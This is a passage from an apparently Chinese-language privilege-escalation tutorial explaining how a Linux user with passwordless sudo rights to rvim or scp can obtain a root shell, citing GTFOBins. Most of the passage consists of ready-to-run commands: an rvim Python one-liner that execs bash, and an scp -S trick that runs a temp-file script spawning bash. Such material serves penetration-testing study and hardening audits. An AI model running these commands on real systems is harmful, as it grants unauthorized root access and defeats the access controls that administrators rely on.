当前用户可以以sudo高级权限运行rvim,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/rvim |
rvim是vim编辑器的一个特定版本,其中表示restricted受限模式,在rvim中的操作相比于vim,做了很多限制,禁用了许多可能危害系统的命令。利用详见rvim | GTFOBins
操作方式
1 | sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")' |
执行即可提权,单引号中的内容是通过python编写启动shell会话的代码,其中冒号:是vim的语法,表示执行系统命令。
sudo scp
漏洞利用前提
当前用户可以以sudo高级权限运行scp,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/scp |
scp是secure copy的缩写,用于Linux中的基于ssh的远程文件复制,功能类似与cp,但可以跨服务器复制。利用详见scp | GTFOBins
操作方式
提权时需要指定参数-S,表示指定SSH程序,可在其中指定ssh逻辑。先用一个变量TF指向临时文件:
1 | TF=$(mktemp) |
然后将提权逻辑写到临时变量中
1 | echo 'bash 0<&2 1>&2' > $TF |
给变量(临时文件)添加执行权限:
1 | chmod +x "$TF" |
然后用-S参数指定临时文件,此处的$TF是作为ssh程序给出,同时要指定源文件和目标文件,由于我们只是想提权,并不想真的copy,因此随便写一个x和y即可,冒号:用于区分本地文件和远程文件。
1 | sudo scp -S $TF x y: |